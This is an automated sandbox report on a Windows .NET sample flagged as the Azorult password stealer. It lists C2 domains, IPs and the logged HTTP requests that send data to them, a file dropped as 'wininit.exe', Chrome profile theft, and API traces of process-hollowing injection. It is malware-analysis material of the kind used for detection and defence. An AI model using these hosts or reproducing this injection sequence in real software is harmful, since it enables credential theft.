Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6403_us	Sept. 21, 2023, 9:34 a.m.	Sept. 21, 2023, 9:41 a.m.

Size	737.5KB
Type	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
MD5	`d54ddeb1ceaa4b97d777db0335765e31`
SHA256	`3ba7c1a01fe40fab7b53ae3a50aaba4f1d1300a857f4b91352f2423a3f7a4cb2`
CRC32	`367D0358`
ssdeep	`12288:f06gzHa2iNP1U8kM7j418EZYw4lB/brrGL98Muv6DXfuADUkySTLs7Tn:8TG1FDOTZYlhrGL98MJDUkRTL4z`
PDB Path	vSaB.pdb
Yara	PE_Header_Zero - PE File Signature IsPE32 - (no description) Is_DotNET_EXE - (no description) Win32_Trojan_PWS_Net_1_Zero - Win32 Trojan PWS .NET Azorult

wininit.exe "C:\Users\test22\AppData\Local\Temp\wininit.exe"
940
- wininit.exe "C:\Users\test22\AppData\Local\Temp\wininit.exe"
  2668
rundll32.exe "C:\Windows\SysWOW64\rundll32.exe"
2800
- firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
  2964

Name	Response	Post-Analysis Lookup
www.shakcham.top	A 203.161.62.123	203.161.62.123
www.edf23hravau.xyz	CNAME 168.pcwbvulypm13.com A 20.247.39.217	20.247.39.217
www.jedidylan.com	A 204.11.56.48	204.11.56.48
www.ssongg12497.cfd	A 101.32.68.183	101.32.68.183
www.ekcc.xyz
www.sqlite.org	A 45.33.6.223	45.33.6.223
www.igrashka.net	A 91.206.200.88	91.206.200.88

IP Address	Status	Action
101.32.68.183	Active	Moloch
164.124.101.2	Active	Moloch
20.247.39.217	Active	Moloch
203.161.62.123	Active	Moloch
204.11.56.48	Active	Moloch
45.33.6.223	Active	Moloch
91.206.200.88	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
UDP 192.168.56.103:62576 -> 164.124.101.2:53	2023883	ET DNS Query to a *.top domain - Likely Hostile	Potentially Bad Traffic
TCP 192.168.56.103:49179 -> 203.161.62.123:80	2023882	ET INFO HTTP Request to a *.top domain	Potentially Bad Traffic

Suricata TLS

No Suricata TLS

Checks if process is being debugged by a debugger (2 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent Sept. 21, 2023, 9:34 a.m.			0	0
IsDebuggerPresent Sept. 21, 2023, 9:34 a.m.			0	0

This executable has a PDB path (1 event)

pdb_path

vSaB.pdb

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx Sept. 21, 2023, 9:34 a.m.		1	1	0

One or more potentially interesting buffers were extracted, these generally contain injected code, configuration data, etc.

Performs some HTTP requests (12 events)

request	POST http://www.igrashka.net/hcn4/
request	GET http://www.igrashka.net/hcn4/?knM=m30+Ki//Y8sL2zE0P61kdhvYOwqWFptCCmwU8vQq6zE1sjNGfZDnTyH3LHXrki/eEv4hHjHktamnN/oDf7D42Eqb/YZUuybaqZkYvtQ=&ye5Im=alq0Y2
request	GET http://www.sqlite.org/2019/sqlite-dll-win32-x86-3300000.zip
request	GET http://www.sqlite.org/2020/sqlite-dll-win32-x86-3330000.zip
request	GET http://www.sqlite.org/2016/sqlite-dll-win32-x86-3130000.zip
request	GET http://www.sqlite.org/2020/sqlite-dll-win32-x86-3310000.zip
request	POST http://www.edf23hravau.xyz/hcn4/
request	GET http://www.edf23hravau.xyz/hcn4/?knM=THRJx5HoM4pxizf3tffVux/F1dnvdAzr5GPiuCoKifJxde7dkuco3WiYLQ8onutaznLrkvN96f0rnicV+F6qZ7Z7/ZoKrPI7mfac+KI=&ye5Im=alq0Y2
request	GET http://www.jedidylan.com/hcn4/?knM=OEaMQIXzJ1y0Ti/BrjZfTQsudV+gIEPJKSCSuDa5GJUseBJeyfizYkge5InQO6hD9ZXOEPkPQpdLpgPCjm1/NgvgONU/CrlD65E5YMY=&ye5Im=alq0Y2
request	POST http://www.shakcham.top/hcn4/
request	GET http://www.shakcham.top/hcn4/?knM=VLrMamQnDTGMeMJgx6hkOx5BwaKLG+lWawKYC9Jql/bfu43cgRCDr21Ipw5nqE2MDIkIhr3bxwasMrx+aUmXse9uaxrLWLp/EVeQozE=&ye5Im=alq0Y2
request	POST http://www.ssongg12497.cfd/hcn4/

Sends data using the HTTP POST Method (4 events)

request	POST http://www.igrashka.net/hcn4/
request	POST http://www.edf23hravau.xyz/hcn4/
request	POST http://www.shakcham.top/hcn4/
request	POST http://www.ssongg12497.cfd/hcn4/

Resolves a suspicious Top Level Domain (TLD) (1 event)

domain

www.shakcham.top

description

Generic top level domain TLD

Allocates read-write-execute memory (usually to unpack itself) (46 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory Sept. 21, 2023, 9:34 a.m.	process_identifier: 940 region_size: 1048576 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x003e0000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 21, 2023, 9:34 a.m.	process_identifier: 940 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x004a0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory Sept. 21, 2023, 9:34 a.m.	process_identifier: 940 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73f61000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Sept. 21, 2023, 9:34 a.m.	process_identifier: 940 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73f62000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 21, 2023, 9:34 a.m.	process_identifier: 940 region_size: 1441792 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x022e0000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 21, 2023, 9:34 a.m.	process_identifier: 940 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02400000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 21, 2023, 9:34 a.m.	process_identifier: 940 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00292000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 21, 2023, 9:34 a.m.	process_identifier: 940 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x002d5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 21, 2023, 9:34 a.m.	process_identifier: 940 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x002db000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 21, 2023, 9:34 a.m.	process_identifier: 940 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x002d7000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 21, 2023, 9:34 a.m.	process_identifier: 940 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x002ac000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 21, 2023, 9:34 a.m.	process_identifier: 940 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x005a0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 21, 2023, 9:34 a.m.	process_identifier: 940 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0029a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 21, 2023, 9:34 a.m.	process_identifier: 940 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x002ca000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 21, 2023, 9:34 a.m.	process_identifier: 940 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x002c7000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 21, 2023, 9:34 a.m.	process_identifier: 940 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x002aa000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 21, 2023, 9:34 a.m.	process_identifier: 940 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x005a1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 21, 2023, 9:34 a.m.	process_identifier: 940 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x002c6000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 21, 2023, 9:34 a.m.	process_identifier: 940 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x005a2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 21, 2023, 9:34 a.m.	process_identifier: 940 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x005a3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 21, 2023, 9:34 a.m.	process_identifier: 940 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x005a4000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 21, 2023, 9:34 a.m.	process_identifier: 940 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x005a5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 21, 2023, 9:34 a.m.	process_identifier: 940 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x005a6000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 21, 2023, 9:34 a.m.	process_identifier: 940 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x005a7000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 21, 2023, 9:34 a.m.	process_identifier: 940 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x005a8000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 21, 2023, 9:34 a.m.	process_identifier: 940 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0029c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 21, 2023, 9:34 a.m.	process_identifier: 940 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x005a9000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 21, 2023, 9:34 a.m.	process_identifier: 940 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x005aa000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 21, 2023, 9:34 a.m.	process_identifier: 940 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x005ab000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 21, 2023, 9:34 a.m.	process_identifier: 940 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x002ad000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 21, 2023, 9:34 a.m.	process_identifier: 940 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x002ae000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 21, 2023, 9:34 a.m.	process_identifier: 940 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x005ac000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 21, 2023, 9:34 a.m.	process_identifier: 940 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x005ad000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 21, 2023, 9:34 a.m.	process_identifier: 940 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x005ae000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 21, 2023, 9:34 a.m.	process_identifier: 940 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x005af000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 21, 2023, 9:34 a.m.	process_identifier: 940 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02280000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 21, 2023, 9:34 a.m.	process_identifier: 2668 region_size: 3158016 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00920000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 21, 2023, 9:35 a.m.	process_identifier: 2800 region_size: 3158016 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02000000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffff	1
NtProtectVirtualMemory Sept. 21, 2023, 9:35 a.m.	process_identifier: 2800 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x75931000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Sept. 21, 2023, 9:35 a.m.	process_identifier: 2800 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x76e01000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Sept. 21, 2023, 9:35 a.m.	process_identifier: 2800 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x752e1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Sept. 21, 2023, 9:35 a.m.	process_identifier: 2800 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x76971000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Sept. 21, 2023, 9:35 a.m.	process_identifier: 2800 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x741c1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Sept. 21, 2023, 9:35 a.m.	process_identifier: 2800 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x741b1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Sept. 21, 2023, 9:35 a.m.	process_identifier: 2800 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x74041000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Sept. 21, 2023, 9:35 a.m.	process_identifier: 2800 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x74031000 process_handle: 0xffffffff	1

Steals private information from local Internet browsers (1 event)

file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\

Drops a binary and executes it (1 event)

file	C:\Users\test22\AppData\Local\Temp\wininit.exe

Drops an executable to the user AppData folder (1 event)

file	C:\Users\test22\AppData\Local\Temp\wininit.exe

The binary likely contains encrypted or compressed data indicative of a packer (2 events)

section

{u'size_of_data': u'0x000b7c00', u'virtual_address': u'0x00002000', u'entropy': 7.823677782363493, u'name': u'.text', u'virtual_size': u'0x000b7abc'}

entropy

7.82367778236

description

A section with a high entropy has been found

entropy

0.997286295794

description

Overall entropy of this PE file is high

Checks for the Locally Unique Identifier on the system for a suspicious privilege (3 events)

Time & API	Arguments	Status	Return
LookupPrivilegeValueW Sept. 21, 2023, 9:34 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW Sept. 21, 2023, 9:34 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW Sept. 21, 2023, 9:35 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1

Yara rule detected in process memory (8 events)

description	PWS Memory	rule	Generic_PWS_Memory_Zero
description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	Bypass DEP	rule	disable_dep

Terminates another process (4 events)

Time & API	Arguments	Status
NtTerminateProcess Sept. 21, 2023, 9:34 a.m.	status_code: 0xffffffff process_identifier: 2596 process_handle: 0x00000248
NtTerminateProcess Sept. 21, 2023, 9:34 a.m.	status_code: 0xffffffff process_identifier: 2596 process_handle: 0x00000248	1
NtTerminateProcess Sept. 21, 2023, 9:34 a.m.	status_code: 0xffffffff process_identifier: 2632 process_handle: 0x00000254
NtTerminateProcess Sept. 21, 2023, 9:34 a.m.	status_code: 0xffffffff process_identifier: 2632 process_handle: 0x00000254	1

Allocates execute permission to another process indicative of possible code injection (3 events)

Time & API	Arguments	Status	Return
NtAllocateVirtualMemory Sept. 21, 2023, 9:34 a.m.	process_identifier: 2596 region_size: 237568 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000238		3221225496
NtAllocateVirtualMemory Sept. 21, 2023, 9:34 a.m.	process_identifier: 2632 region_size: 237568 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x0000024c		3221225496
NtAllocateVirtualMemory Sept. 21, 2023, 9:34 a.m.	process_identifier: 2668 region_size: 237568 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000250	1	0

Manipulates memory of a non-child process indicative of process injection (4 events)

Time & API	Arguments	Return	Repeated
Process injection	Process 940 manipulating memory of non-child process 2596
Process injection	Process 940 manipulating memory of non-child process 2632
NtAllocateVirtualMemory Sept. 21, 2023, 9:34 a.m.	process_identifier: 2596 region_size: 237568 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000238	3221225496	0
NtAllocateVirtualMemory Sept. 21, 2023, 9:34 a.m.	process_identifier: 2632 region_size: 237568 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x0000024c	3221225496	0

Potential code injection by writing to the memory of another process (2 events)

Time & API	Arguments	Status	Return	Repeated
WriteProcessMemory Sept. 21, 2023, 9:34 a.m.	buffer: MZERèXè ÈÀ<ÁÀ(ÿá¸º´ Í!¸LÍ!This program cannot be run in DOS mode. $y =`gó=`gó=`gó¦¨ó:`gó¦ªó<`gó¦«ó<`góRich=`góPELWz`àÐ @ @.text ` base_address: 0x00400000 process_identifier: 2668 process_handle: 0x00000250	1	1	0
WriteProcessMemory Sept. 21, 2023, 9:34 a.m.	buffer: @ base_address: 0x7efde008 process_identifier: 2668 process_handle: 0x00000250	1	1	0

Code injection by writing an executable or DLL to the memory of another process (1 event)

Time & API	Arguments	Status	Return	Repeated
WriteProcessMemory Sept. 21, 2023, 9:34 a.m.	buffer: MZERèXè ÈÀ<ÁÀ(ÿá¸º´ Í!¸LÍ!This program cannot be run in DOS mode. $y =`gó=`gó=`gó¦¨ó:`gó¦ªó<`gó¦«ó<`góRich=`góPELWz`àÐ @ @.text ` base_address: 0x00400000 process_identifier: 2668 process_handle: 0x00000250	1	1	0

Used NtSetContextThread to modify a thread in a remote process indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 940 called NtSetContextThread to modify thread in remote process 2668
NtSetContextThread Sept. 21, 2023, 9:34 a.m.	registers.eip: 0 registers.esp: 0 registers.edi: 0 registers.eax: 4199632 registers.ebp: 0 registers.edx: 0 registers.ebx: 2130567168 registers.esi: 0 registers.ecx: 0 thread_handle: 0x00000254 process_identifier: 2668	1	0	0

Resumed a suspended thread in a remote process potentially indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 940 resumed a thread in remote process 2668
NtResumeThread Sept. 21, 2023, 9:34 a.m.	thread_handle: 0x00000254 suspend_count: 1 process_identifier: 2668	1	0	0

Executed a process and injected code into it, probably while unpacking (22 events)

Time & API	Arguments	Status	Return
NtResumeThread Sept. 21, 2023, 9:34 a.m.	thread_handle: 0x000000dc suspend_count: 1 process_identifier: 940	1	0
NtResumeThread Sept. 21, 2023, 9:34 a.m.	thread_handle: 0x00000150 suspend_count: 1 process_identifier: 940	1	0
NtResumeThread Sept. 21, 2023, 9:34 a.m.	thread_handle: 0x0000018c suspend_count: 1 process_identifier: 940	1	0
NtResumeThread Sept. 21, 2023, 9:34 a.m.	thread_handle: 0x00000238 suspend_count: 1 process_identifier: 940	1	0
NtGetContextThread Sept. 21, 2023, 9:34 a.m.	thread_handle: 0x000000e0	1	0
NtGetContextThread Sept. 21, 2023, 9:34 a.m.	thread_handle: 0x000000e0	1	0
NtResumeThread Sept. 21, 2023, 9:34 a.m.	thread_handle: 0x000000e0 suspend_count: 1 process_identifier: 940	1	0
CreateProcessInternalW Sept. 21, 2023, 9:34 a.m.	thread_identifier: 2600 thread_handle: 0x00000228 process_identifier: 2596 current_directory: filepath: C:\Users\test22\AppData\Local\Temp\wininit.exe track: 1 command_line: filepath_r: C:\Users\test22\AppData\Local\Temp\wininit.exe stack_pivoted: 0 creation_flags: 134217732 (CREATE_NO_WINDOW\|CREATE_SUSPENDED) inherit_handles: 0 process_handle: 0x00000238	1	1
NtGetContextThread Sept. 21, 2023, 9:34 a.m.	thread_handle: 0x00000228	1	0
NtAllocateVirtualMemory Sept. 21, 2023, 9:34 a.m.	process_identifier: 2596 region_size: 237568 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000238		3221225496
CreateProcessInternalW Sept. 21, 2023, 9:34 a.m.	thread_identifier: 2636 thread_handle: 0x00000248 process_identifier: 2632 current_directory: filepath: C:\Users\test22\AppData\Local\Temp\wininit.exe track: 1 command_line: filepath_r: C:\Users\test22\AppData\Local\Temp\wininit.exe stack_pivoted: 0 creation_flags: 134217732 (CREATE_NO_WINDOW\|CREATE_SUSPENDED) inherit_handles: 0 process_handle: 0x0000024c	1	1
NtGetContextThread Sept. 21, 2023, 9:34 a.m.	thread_handle: 0x00000248	1	0
NtAllocateVirtualMemory Sept. 21, 2023, 9:34 a.m.	process_identifier: 2632 region_size: 237568 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x0000024c		3221225496
CreateProcessInternalW Sept. 21, 2023, 9:34 a.m.	thread_identifier: 2672 thread_handle: 0x00000254 process_identifier: 2668 current_directory: filepath: C:\Users\test22\AppData\Local\Temp\wininit.exe track: 1 command_line: filepath_r: C:\Users\test22\AppData\Local\Temp\wininit.exe stack_pivoted: 0 creation_flags: 134217732 (CREATE_NO_WINDOW\|CREATE_SUSPENDED) inherit_handles: 0 process_handle: 0x00000250	1	1
NtGetContextThread Sept. 21, 2023, 9:34 a.m.	thread_handle: 0x00000254	1	0
NtAllocateVirtualMemory Sept. 21, 2023, 9:34 a.m.	process_identifier: 2668 region_size: 237568 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000250	1	0
WriteProcessMemory Sept. 21, 2023, 9:34 a.m.	buffer: MZERèXè ÈÀ<ÁÀ(ÿá¸º´ Í!¸LÍ!This program cannot be run in DOS mode. $y =`gó=`gó=`gó¦¨ó:`gó¦ªó<`gó¦«ó<`góRich=`góPELWz`àÐ @ @.text ` base_address: 0x00400000 process_identifier: 2668 process_handle: 0x00000250	1	1
WriteProcessMemory Sept. 21, 2023, 9:34 a.m.	buffer: base_address: 0x00401000 process_identifier: 2668 process_handle: 0x00000250	1	1
WriteProcessMemory Sept. 21, 2023, 9:34 a.m.	buffer: @ base_address: 0x7efde008 process_identifier: 2668 process_handle: 0x00000250	1	1
NtSetContextThread Sept. 21, 2023, 9:34 a.m.	registers.eip: 0 registers.esp: 0 registers.edi: 0 registers.eax: 4199632 registers.ebp: 0 registers.edx: 0 registers.ebx: 2130567168 registers.esi: 0 registers.ecx: 0 thread_handle: 0x00000254 process_identifier: 2668	1	0
NtResumeThread Sept. 21, 2023, 9:34 a.m.	thread_handle: 0x00000254 suspend_count: 1 process_identifier: 2668	1	0
